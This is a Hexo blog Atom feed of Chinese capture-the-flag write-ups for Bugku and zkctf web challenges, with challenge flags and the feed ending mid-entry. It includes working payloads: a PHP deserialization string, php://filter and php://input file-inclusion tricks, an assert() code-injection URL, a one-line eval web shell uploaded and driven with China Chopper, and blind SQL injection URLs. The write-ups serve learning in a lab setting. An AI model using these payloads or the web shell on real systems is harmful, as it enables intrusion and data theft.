<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>清风的博客</title>
  
  <subtitle>Dandelion</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="http://yoursite.com/"/>
  <updated>2019-11-03T10:54:24.809Z</updated>
  <id>http://yoursite.com/</id>
  
  <author>
    <name>清风</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>web-实验室</title>
    <link href="http://yoursite.com/2019/11/03/web-%E5%AE%9E%E9%AA%8C%E5%AE%A4/"/>
    <id>http://yoursite.com/2019/11/03/web-实验室/</id>
    <published>2019-11-03T10:48:54.000Z</published>
    <updated>2019-11-03T10:54:24.809Z</updated>
    
    <content type="html"><![CDATA[<a id="more"></a><p><strong>friend</strong></p><p><img src="http://i1.fuimg.com/702861/fc54083a29b95486.png" alt="1"></p><p>代码审计题</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">//include(&quot;./class.php&quot;);</span><br><span class="line"></span><br><span class="line">header(&quot;content-type:text/html;charset=utf-8&quot;);</span><br><span class="line"></span><br><span class="line">error_reporting(0);</span><br><span class="line"></span><br><span class="line">if(isset($_GET[&quot;file&quot;]))&#123;     //isset检测变量是否设置</span><br><span class="line"></span><br><span class="line">​    $file = $_GET[&quot;file&quot;];</span><br><span class="line"></span><br><span class="line">​    if(isset($_GET[&quot;password&quot;]))&#123;</span><br><span class="line"></span><br><span class="line">​       $password = $_GET[&quot;password&quot;];</span><br><span class="line"></span><br><span class="line">​       if(preg_match(&quot;/flag/&quot;,$file))&#123;//preg_match正则表达式匹配在$file中查找flag</span><br><span class="line"></span><br><span class="line">​            echo &quot;不能现在就给你flag哦&quot;;</span><br><span class="line"></span><br><span class="line">​            exit();  </span><br><span class="line"></span><br><span class="line">​        &#125;else&#123;  </span><br><span class="line"></span><br><span class="line">​            require_once($file);//[require_once](http://www.php.cn/wiki/141.html)语句和 </span><br><span class="line"></span><br><span class="line">require 语句完全相同，唯一区别是 PHP 会检查该文件是否已经被包含过，如果是则不会再次包含</span><br><span class="line"></span><br><span class="line">​            highlight_file(&quot;$file&quot;);//highlight_file() 函数对文件进行语法高亮显示</span><br><span class="line"></span><br><span class="line">​            $password = unserialize($password);</span><br><span class="line"></span><br><span class="line">//unserialize() 提供过滤的特性，可以防止非法数据进行代码注入，提供了更安全的反序列化数据</span><br><span class="line"></span><br><span class="line">​            echo $password;</span><br><span class="line"></span><br><span class="line">​        &#125;</span><br><span class="line"></span><br><span class="line">​    &#125;else&#123;</span><br><span class="line"></span><br><span class="line">​        echo &quot;需要密码的！&lt;br&gt;&quot;;</span><br><span class="line"></span><br><span class="line">​    &#125;</span><br><span class="line"></span><br><span class="line">&#125;else&#123;</span><br><span class="line"></span><br><span class="line">​    highlight_file(&apos;./index.php&apos;);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if(preg_match(&quot;/flag/&quot;,$file))&#123; </span><br><span class="line"></span><br><span class="line">​    echo &quot;不能现在就给你flag哦&quot;;</span><br><span class="line"></span><br><span class="line">​    exit();  </span><br><span class="line"></span><br><span class="line">&#125;else&#123;  </span><br><span class="line"></span><br><span class="line">​    include($file); </span><br><span class="line"></span><br><span class="line">​    $password = unserialize($password); </span><br><span class="line"></span><br><span class="line">​    echo $password;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>因为是GET传参所以在地址栏进行代码审计，首先根据题意输入?file=class.php</p><p><img src="http://i1.fuimg.com/702861/47177fbe55c6e21e.png" alt="2"></p><p>在其后补充密码得到下面的代码，得到一个flag_good.php,function __tostring输出字符串</p><p>file_get_contents() 函数把整个文件读入一个字符串中</p><p><img src="http://i1.fuimg.com/702861/51c011d8140b1fff.png" alt="3"></p><p>在地址栏上输入?file=class.php&amp;password=O:4:”Flag”:1:{s:4:”file”;s:13:”flag_good.php”;}</p><p><img src="http://i1.fuimg.com/702861/ea5eb2edc5053934.png" alt="4"></p><p>得到good后，查看源代码得到flag    zkctf{132e9a8fcba14cbbaaad09c76d15bd07} </p><p><img src="http://i1.fuimg.com/702861/3dd6ac91b47b0848.png" alt="5"></p><p><strong>where is flag</strong></p><p><img src="http://i1.fuimg.com/702861/9c39b5e6dd8f8f9a.png" alt="6"></p><p>本题属于文件包含题，</p><p><img src="http://i1.fuimg.com/702861/5205274fa777e6c5.png" alt="7"></p><p>得到的编码，使用base64解码，得到flag   zkctf{wuhu_include_lueluelue}</p><p><strong>代码审计</strong></p><p><img src="http://i1.fuimg.com/702861/0f07edfe7e22e832.png" alt="8"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">include(&quot;./flag.php&quot;);</span><br><span class="line"></span><br><span class="line">show_source(__FILE__);</span><br><span class="line"></span><br><span class="line">error_reporting(0);</span><br><span class="line"></span><br><span class="line">$a=$_GET[&apos;a&apos;];</span><br><span class="line"></span><br><span class="line">if(stripos($a,&apos;.&apos;))stripos() 函数查找字符串在另一字符串中第一次出现的位置（不区分大小写）本题是查找“.”在$a中第一次出现的位置</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">​    echo &apos;Hahahahahaha&apos;;</span><br><span class="line"></span><br><span class="line">​    die();</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$data = @file_get_contents($a,&apos;r&apos;);file_get_contents() 函数把整个文件读入一个字符串中</span><br><span class="line"></span><br><span class="line">if($data==&quot;1433223!!!&quot;)&#123;</span><br><span class="line"></span><br><span class="line">​    if (isset ($_GET[&apos;password&apos;]))</span><br><span class="line"></span><br><span class="line">​    &#123;ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的</span><br><span class="line"></span><br><span class="line">​        if (ereg (&quot;^[a-zA-Z0-9]+$&quot;, $_GET[&apos;password&apos;]) === FALSE)&#123;</span><br><span class="line"></span><br><span class="line">​            echo &apos;You password must be alphanumeric&apos;;</span><br><span class="line"></span><br><span class="line">​        &#125;else if (strlen($_GET[&apos;password&apos;]) &lt; 8 &amp;&amp; $_GET[&apos;password&apos;] &gt; 9999999)&#123;strlen() 函数返回字符串的长度。</span><br><span class="line"></span><br><span class="line">​            if (strpos ($_GET[&apos;password&apos;], &apos;-&apos;) !== FALSE)</span><br><span class="line"></span><br><span class="line">​            &#123;</span><br><span class="line"></span><br><span class="line">​                die(&apos;Flag: &apos; . $flag);</span><br><span class="line"></span><br><span class="line">​            &#125;else&#123;</span><br><span class="line"></span><br><span class="line">​                echo(&apos;- have not been found&apos;);</span><br><span class="line"></span><br><span class="line">​            &#125;</span><br><span class="line"></span><br><span class="line">​        &#125;else&#123;</span><br><span class="line"></span><br><span class="line">​            echo &apos;Invalid password&apos;;</span><br><span class="line"></span><br><span class="line">​        &#125;</span><br><span class="line"></span><br><span class="line">​    &#125;</span><br><span class="line"></span><br><span class="line">&#125;else&#123;</span><br><span class="line"></span><br><span class="line">​    echo &apos;Unhappy!&apos;;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>对于data，a用PHP伪协议php://input即可，它过滤了’.’，估计是不能用文件包含的，所以我们要用php伪协议post一个Data，    password只能是字符串和数字，字符串的长度要小于8，值要大于9999999，因此要使用科学计数法所以1e8，2e8等等，password中必须要有’-‘,这是就要使用%00截断 ，最后得到flag：zkctf{the_ Code_audit_is_so_fun}</p><p><img src="http://i2.tiimg.com/702861/6a0a2034fd035d3d.png" alt="9"></p><p><strong>wramup</strong></p><p><img src="http://i2.tiimg.com/702861/21561467516e69b9.png" alt="10"></p><p>打开题目地址得到一个haha….，</p><p><img src="http://i2.tiimg.com/702861/8b4a5aa17030bd65.png" alt="11"></p><p>点击右键查看源代码，有一个index.phps</p><p><img src="http://i2.tiimg.com/702861/7572d199e547f051.png" alt="12"></p><p>在地址栏后输入index.phps，得到PHP代码</p><p><img src="http://i2.tiimg.com/702861/fde294497a390a3a.png" alt="13"></p><p>assert — 检查一个断言是否为 FALSE    assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串的优势是当禁用断言时它的开销会更小，并且在断言失败时消息会包含 assertion 表达式。</p><p>a=highlight_file()用高亮显示flag.php，用//注释掉（==$b）</p><p>?b=Hello%20word!&amp;a=highlight_file(%27flag.php%27);//         得到flagzkctf{assert_is_s0_co01}</p><p><img src="http://i2.tiimg.com/702861/1850fb65d87bc85b.png" alt="14"></p><p>**upload<img src="http://i2.tiimg.com/702861/39c290b333ca2060.png" alt="15"></p><p>打开题目地址，得到下面一个网页</p><p><img src="http://i2.tiimg.com/702861/7d6b0fdb591cdd78.png" alt="16"></p><p>首先想要的到东西，就要使用菜刀来链接，先准备一个一句话木马的病毒</p><?php @eval($_POST['aaa']);?><p>文件名设为1.php</p><p>打开菜刀，点击右键选择添加，输入以下内容，最后点击添加</p><p><img src="http://i2.tiimg.com/702861/e3cc8d3f5fb88924.png" alt="17"></p><p>连接成功后，在数据库中查找flag</p><p><img src="http://i2.tiimg.com/702861/8147cf0364f0fd38.png" alt="18"></p><p>最后的到flag     zkctf{Find_Hide_oN_The_Upl0ad}</p><p><img src="http://i2.tiimg.com/702861/907037ad3ee69224.png" alt="19"></p><p><strong>sql-2</strong></p><p><img src="http://i2.tiimg.com/702861/7453dc847bf0b17b.png" alt="20"></p><p>打开题目地址，发现就只有一句话Try id!，查看源代码发现也是这句话</p><p><img src="http://i2.tiimg.com/702861/651b95089670c789.png" alt="21"></p><p>在地址栏输入?id=1’ –+  得到下图的一段话，发现是盲注，只要是对的就会出现下面一段话，否则为空白页面</p><p><img src="http://i2.tiimg.com/702861/20ec2a8013d19405.png" alt="22"></p><p><img src="http://i2.tiimg.com/702861/b5c2dcb988487aa4.png" alt="23"></p><p><img src="http://i2.tiimg.com/702861/ce8f7a89b631aa65.png" alt="24"></p><p><img src="http://i2.tiimg.com/702861/acfb068c5db8b6d4.png" alt="25"></p><p><a href="http://47.99.176.38:5010/web9/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+" target="_blank" rel="noopener">http://47.99.176.38:5010/web9/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+</a></p><p><img src="http://i2.tiimg.com/702861/e86e64c459a635a1.png" alt="26"></p><p><a href="http://47.99.176.38:5010/web9/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),2,1))%3E113--+" target="_blank" rel="noopener">http://47.99.176.38:5010/web9/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),2,1))%3E113--+</a></p><p><img src="http://i2.tiimg.com/702861/12e2c183a44564a8.png" alt="27"></p><p><a href="http://47.99.176.38:5010/web9/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),2,1))%3E113--+" target="_blank" rel="noopener">http://47.99.176.38:5010/web9/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),2,1))%3E113--+</a></p><p><img src="http://i2.tiimg.com/702861/62ddecf20809618a.png" alt="28"></p><p><a href="http://47.99.176.38:5010/web9/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+" target="_blank" rel="noopener">http://47.99.176.38:5010/web9/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+</a></p><p><img src="http://i2.tiimg.com/702861/8f4fe30e6d4380a9.png" alt="29"></p><p><a href="http://47.99.176.38:5010/web9/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20column_name%20regexp%20%27^user%27%20limit%200,1)--+" target="_blank" rel="noopener">http://47.99.176.38:5010/web9/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20column_name%20regexp%20%27^user%27%20limit%200,1)--+</a></p><p><img src="http://i2.tiimg.com/702861/d30e93d2b32489f8.png" alt="30"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;a id=&quot;more&quot;&gt;&lt;/a&gt;

&lt;p&gt;&lt;strong&gt;friend&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://i1.fuimg.com/702861/fc54083a29b95486.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;
&lt;p&gt;代码审计题&lt;/p&gt;
&lt;f
      
    
    </summary>
    
      <category term="Bugku CTF web" scheme="http://yoursite.com/categories/Bugku-CTF-web/"/>
    
    
      <category term="CTF" scheme="http://yoursite.com/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>bugku-web-请输入密码</title>
    <link href="http://yoursite.com/2019/11/02/bugku-web-%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81/"/>
    <id>http://yoursite.com/2019/11/02/bugku-web-请输入密码/</id>
    <published>2019-11-02T12:52:22.000Z</published>
    <updated>2019-11-02T12:56:13.125Z</updated>
    
    <content type="html"><![CDATA[<h1 id="请输入密码"><a href="#请输入密码" class="headerlink" title="请输入密码"></a><strong>请输入密码</strong></h1><a id="more"></a><p>打开链接，页面显示输入五位数的密码，我们可以用Burpsuite pro来爆破</p><p><img src="http://i2.tiimg.com/702861/5b0aa24b05539ebd.png" alt="img"></p><p>在文本框里随便输入5位数字，进行抓包</p><p><img src="http://i2.tiimg.com/702861/fff8e2f5139af587.png" alt="img"></p><p>把抓到的包点击Action，选择send to Intruder打开</p><p><img src="http://i2.tiimg.com/702861/9293e5c6f9305cb1.png" alt="img"></p><p>点击Positions，先清除burp认为需要猜测的密码，然后选中pwd=12345，点击Add添加符号§</p><p><img src="http://i2.tiimg.com/702861/7a9f90ec25e821ac.png" alt="img"></p><p>因为密码是五位数字组成的，所以Payload type选择Numbers数字类型的，因为是五位数数值的大小在10000到99999之间，step步骤填1步</p><p><img src="http://i2.tiimg.com/702861/cc0a586d5e9b8d8b.png" alt="img"></p><p>在Options中，把number of threads改成100</p><p><img src="http://i2.tiimg.com/702861/17f5f6a8d54e2fd7.png" alt="img"></p><p>最后点击start attack，在结果中找长度不一样的，可以发现一个五位数的密码13579</p><p><img src="http://i2.tiimg.com/702861/1036ecd0bbb7d62e.png" alt="img"></p><p>把密码输进到文本框中，点击查看，最后得到flag{bugku-baopo-hah}</p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;请输入密码&quot;&gt;&lt;a href=&quot;#请输入密码&quot; class=&quot;headerlink&quot; title=&quot;请输入密码&quot;&gt;&lt;/a&gt;&lt;strong&gt;请输入密码&lt;/strong&gt;&lt;/h1&gt;
    
    </summary>
    
    
      <category term="Bugku web" scheme="http://yoursite.com/tags/Bugku-web/"/>
    
  </entry>
  
  <entry>
    <title>bugku-web-flag在index里</title>
    <link href="http://yoursite.com/2019/11/02/bugku-web-flag%E5%9C%A8index%E9%87%8C/"/>
    <id>http://yoursite.com/2019/11/02/bugku-web-flag在index里/</id>
    <published>2019-11-02T12:49:31.000Z</published>
    <updated>2019-11-02T12:52:03.537Z</updated>
    
    <content type="html"><![CDATA[<h1 id="flag在index里"><a href="#flag在index里" class="headerlink" title="flag在index里"></a><strong>flag在index里</strong></h1><a id="more"></a><p><img src="http://i1.fuimg.com/702861/f6bfb9dc083c8b1f.png" alt="img"></p><p>该题是经典的文件包含漏洞+PHP伪协议的结合</p><p>打开链接，发现点击click me？no还有一个PHP文件</p><p><img src="http://i1.fuimg.com/702861/cf36f6107db0d64e.png" alt="img"></p><p>因为看不到PHP文件里的内容，所以可以用PHP伪协议的封装协议php://filter</p><p><img src="http://i1.fuimg.com/702861/0e830c0396e4c47c.png" alt="img"></p><p>php://filter</p><p>利用它可以读取服务器中的文件</p><p>由于读取文件的数据直接输出在了页面上，如果读取的是php文件的话，PHP代码在浏览器中，解析会不正常，那么我们可以用这个协议将php文件中的代码以base64的形式输出在页面上： Payload:</p><p><a href="http://xxx.xxx.xxx.xxx/test/file.php?filename=php://filter/read=convert.base64-encode/resource=file.php" target="_blank" rel="noopener">http://xxx.xxx.xxx.xxx/test/file.php?filename=php://filter/read=convert.base64-encode/resource=file.php</a></p><p>在url中输入view-source:<a href="http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php" target="_blank" rel="noopener">http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php</a></p><p><img src="http://i1.fuimg.com/702861/7cf83b7c737ab19b.png" alt="img"></p><p>得到一长段代码，对代码进行base64解码得到下面一个html</p><html>      <title>Bugku-ctf</title>        <?php   error_reporting(0);   if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no';}   $file=$_GET['file'];   if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){    echo "Oh no!";    exit();   }   include($file);   //flag:flag{edulcni_elif_lacol_si_siht}  ?>  </html>  <p>得到flag{edulcni_elif_lacol_si_siht} </p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;flag在index里&quot;&gt;&lt;a href=&quot;#flag在index里&quot; class=&quot;headerlink&quot; title=&quot;flag在index里&quot;&gt;&lt;/a&gt;&lt;strong&gt;flag在index里&lt;/strong&gt;&lt;/h1&gt;
    
    </summary>
    
    
      <category term="Bugku web" scheme="http://yoursite.com/tags/Bugku-web/"/>
    
  </entry>
  
  <entry>
    <title>bugku-web-你必须让他停下来</title>
    <link href="http://yoursite.com/2019/11/02/bugku-web-%E4%BD%A0%E5%BF%85%E9%A1%BB%E8%AE%A9%E4%BB%96%E5%81%9C%E4%B8%8B%E6%9D%A5/"/>
    <id>http://yoursite.com/2019/11/02/bugku-web-你必须让他停下来/</id>
    <published>2019-11-02T12:47:29.000Z</published>
    <updated>2019-11-02T12:49:12.005Z</updated>
    
    <content type="html"><![CDATA[<h1 id="你必须让他停下来"><a href="#你必须让他停下来" class="headerlink" title="你必须让他停下来"></a>你必须让他停下来</h1><a id="more"></a><p><img src="http://i2.tiimg.com/702861/f56846baf7c85d85.png" alt="img"></p><p>打开链接，发现图片一直在跳，我们可以尝试抓包，抓包发现有十几张图片，多尝试几次，最后在10.jpg中发现了flag{dummy_game_1s_s0_popular}</p><p><img src="http://i2.tiimg.com/702861/561404b601426762.png" alt="img"></p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;你必须让他停下来&quot;&gt;&lt;a href=&quot;#你必须让他停下来&quot; class=&quot;headerlink&quot; title=&quot;你必须让他停下来&quot;&gt;&lt;/a&gt;你必须让他停下来&lt;/h1&gt;
    
    </summary>
    
    
      <category term="Bugku web" scheme="http://yoursite.com/tags/Bugku-web/"/>
    
  </entry>
  
  <entry>
    <title>bugku-web-域名解析</title>
    <link href="http://yoursite.com/2019/11/02/bugku-web-%E5%9F%9F%E5%90%8D%E8%A7%A3%E6%9E%90/"/>
    <id>http://yoursite.com/2019/11/02/bugku-web-域名解析/</id>
    <published>2019-11-02T12:40:12.000Z</published>
    <updated>2019-11-02T12:46:58.885Z</updated>
    
    <content type="html"><![CDATA[<h1 id="域名解析"><a href="#域名解析" class="headerlink" title="域名解析"></a><strong>域名解析</strong></h1><a id="more"></a><p><img src="http://i2.tiimg.com/702861/ec122e4b3c0b7d02.png" alt="img"></p><p>题目是要把flag.baidu.com解析到123.206.87.240 上，直接打开flag.baidu.com发现没有域名</p><p>在Windows下修改的文件为C:\Windows\System32\drivers\etc\hosts</p><p>加上一句话123.206.87.240  flag.baidu.com</p><p>因为Windows10没有修改hosts的权限，所以会出现下面的情况</p><p><img src="http://i2.tiimg.com/702861/68d2ca370c1ec5d0.png" alt="img"></p><p>现在学习如何获取管理员权限</p><p>1，按徽标键+R</p><p><img src="http://i2.tiimg.com/702861/d6f49117b2da0e50.png" alt="img"></p><p>2，确定后会出现hosts文档</p><p><img src="http://i2.tiimg.com/702861/e34ec98bda1a68f1.png" alt="img"></p><p>3，点击文件按钮</p><p><img src="http://i2.tiimg.com/702861/ee2c9a5d110449dd.png" alt="img"></p><p>进入一个菜单页面，触碰到打开Windoes PowerShell(R)，选择里面的以管理员身份打开Windoes PowerShell(R)</p><p><img src="http://i2.tiimg.com/702861/124c46c9b28c9696.png" alt="img"></p><p>点击管理员后会弹出一个窗口，点击是</p><p>输入cmd并回车，就进入了管理员界面</p><p><img src="http://i2.tiimg.com/702861/73841434ffcac9b0.png" alt="img"></p><p>再输入命令notepad hosts 并回车</p><p><img src="http://i2.tiimg.com/702861/80d3d9033eb03fa7.png" alt="img"></p><p>最后我们就成功的打开了hosts文档，就可以进行需要的编辑了。</p><p><img src="http://i2.tiimg.com/702861/6762247279b9964e.png" alt="img"></p><p>保存好后，在网页上打开flag.baidu.com就会出现flag</p><p><img src="http://i2.tiimg.com/702861/edac9c9cfbc3708d.png" alt="img"></p><p>KEY{DSAHDSJ82HDS2211}</p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;域名解析&quot;&gt;&lt;a href=&quot;#域名解析&quot; class=&quot;headerlink&quot; title=&quot;域名解析&quot;&gt;&lt;/a&gt;&lt;strong&gt;域名解析&lt;/strong&gt;&lt;/h1&gt;
    
    </summary>
    
    
      <category term="Bugku web" scheme="http://yoursite.com/tags/Bugku-web/"/>
    
  </entry>
  
  <entry>
    <title>bugku-web-web3</title>
    <link href="http://yoursite.com/2019/11/02/bugku-web-web3/"/>
    <id>http://yoursite.com/2019/11/02/bugku-web-web3/</id>
    <published>2019-11-02T12:37:10.000Z</published>
    <updated>2019-11-02T12:43:41.132Z</updated>
    
    <content type="html"><![CDATA[<h1 id="web3"><a href="#web3" class="headerlink" title="web3"></a><strong>web3</strong></h1><a id="more"></a><p>打开链接一直在跳页面提示，查看源代码，发现一段可疑代码</p><p><img src="http://i2.tiimg.com/702861/ea308ca1098b2e02.png" alt="img"></p><p>用converter来进行代码转换HTML Decode编码得到flag  KEY{J2sa42ahJK-HS11III}</p><p><img src="http://i2.tiimg.com/702861/b9a82035be2c5648.png" alt="img"></p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;web3&quot;&gt;&lt;a href=&quot;#web3&quot; class=&quot;headerlink&quot; title=&quot;web3&quot;&gt;&lt;/a&gt;&lt;strong&gt;web3&lt;/strong&gt;&lt;/h1&gt;
    
    </summary>
    
    
      <category term="Bugku web" scheme="http://yoursite.com/tags/Bugku-web/"/>
    
  </entry>
  
  <entry>
    <title>bugku-web-矛盾</title>
    <link href="http://yoursite.com/2019/11/02/bugku-web-%E7%9F%9B%E7%9B%BE/"/>
    <id>http://yoursite.com/2019/11/02/bugku-web-矛盾/</id>
    <published>2019-11-02T12:30:54.000Z</published>
    <updated>2019-11-02T12:36:39.012Z</updated>
    
    <content type="html"><![CDATA[<h1 id="矛盾"><a href="#矛盾" class="headerlink" title="矛盾"></a><strong>矛盾</strong></h1><a id="more"></a><p><img src="http://i2.tiimg.com/702861/ea308ca1098b2e02.png" alt="img"></p><p><strong>is_numeric()</strong> 函数用于检测变量是否为数字或数字字符串。</p><p>本题最开始num不能等于数字或数字字符串，而要得到flag要让num=1</p><p>我们可以用科学计数法表示数字1，构造payload   num=1<em>e</em>0.1</p><p><img src="http://i2.tiimg.com/702861/b9a82035be2c5648.png" alt="img"></p><p>得到flag{bugku-789-ps-ssdf}</p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;矛盾&quot;&gt;&lt;a href=&quot;#矛盾&quot; class=&quot;headerlink&quot; title=&quot;矛盾&quot;&gt;&lt;/a&gt;&lt;strong&gt;矛盾&lt;/strong&gt;&lt;/h1&gt;
    
    </summary>
    
    
      <category term="Bugku CTF web" scheme="http://yoursite.com/tags/Bugku-CTF-web/"/>
    
  </entry>
  
  <entry>
    <title>bugku_web_GET</title>
    <link href="http://yoursite.com/2019/09/28/bugku-web-GET/"/>
    <id>http://yoursite.com/2019/09/28/bugku-web-GET/</id>
    <published>2019-09-28T13:02:19.000Z</published>
    <updated>2019-11-03T13:32:57.073Z</updated>
    
    <content type="html"><![CDATA[<h1 id="web基础-GET"><a href="#web基础-GET" class="headerlink" title="web基础$_GET"></a><strong>web基础$_GET</strong></h1><a id="more"></a><p><img src="http://i1.fuimg.com/702861/6e4273555245fd0a.png" alt="1"></p><p>打开链接发现是GTE传参，根据题意当what等于flag是输出flag，于是在URL上访问<a href="http://123.206.87.240:8002/get/?what=flag" target="_blank" rel="noopener">http://123.206.87.240:8002/get/?what=flag</a></p><p><img src="http://i1.fuimg.com/702861/7fef3ca88a187b68.png" alt="2"></p><p>得到flag{bugku_get_su8kej2en}</p><p>post与get的区别：</p><p>1.Post传输数据时，不需要在URL中显示出来，而Get方法要在URL中显示。 </p><p>2.Post传输的数据量大，可以达到2M，而Get方法由于受到URL长度的限制,只能传递大约1024字节. </p><p>3.Post顾名思义,就是为了将数据传送到服务器段,Get就是为了从服务器段取得数据.而Get之所以也能传送数据,只是用来设计告诉服务器,你到底需要什么样的数据.Post的信息作为http请求的内容，而Get是在Http头部传输的。</p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;web基础-GET&quot;&gt;&lt;a href=&quot;#web基础-GET&quot; class=&quot;headerlink&quot; title=&quot;web基础$_GET&quot;&gt;&lt;/a&gt;&lt;strong&gt;web基础$_GET&lt;/strong&gt;&lt;/h1&gt;
    
    </summary>
    
      <category term="Bugku CTF web" scheme="http://yoursite.com/categories/Bugku-CTF-web/"/>
    
    
      <category term="CTF" scheme="http://yoursite.com/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>bugku_web_POST</title>
    <link href="http://yoursite.com/2019/09/28/bugku-web-POST/"/>
    <id>http://yoursite.com/2019/09/28/bugku-web-POST/</id>
    <published>2019-09-28T13:00:09.000Z</published>
    <updated>2019-11-03T13:30:47.193Z</updated>
    
